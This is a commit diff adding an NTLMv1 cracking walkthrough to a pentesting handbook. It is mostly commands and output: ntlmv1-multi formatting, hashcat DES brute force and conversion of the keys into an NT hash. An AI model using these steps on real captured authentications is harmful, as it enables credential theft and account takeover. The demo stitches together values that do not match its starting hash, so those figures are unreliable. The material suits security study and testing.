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update NTLMv1 cracking methodology

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evilmog 2023-12-19 11:02:28 -07:00
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78
windows-hardening/ntlm/README.md
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@ -92,6 +92,84 @@ _Note that for this technique the authentication must be performed using NTLMv1
Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](./#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) for example).
### NTLMv1 attack with hashcat
NTLMv1 can also be broken with the NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) which formats NTLMv1 messages im a method that can be broken with hashcat.
The command
```
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
``` would output the below:
```
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
```
Create a file with the contents of:
```
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
```
Run hashcat (distributed is best through a tool such as hashtopolis) as this will take several days otherwise.
```
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
In this case we know the password to this is password so we are going to cheat for demo purposes:
```
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand
```
We now need to use the hashcat-utilities to convert the cracked des keys into parts of the NTLM hash:
```
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
finally the last part
```
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
combine them together
```
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Challenge
The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**.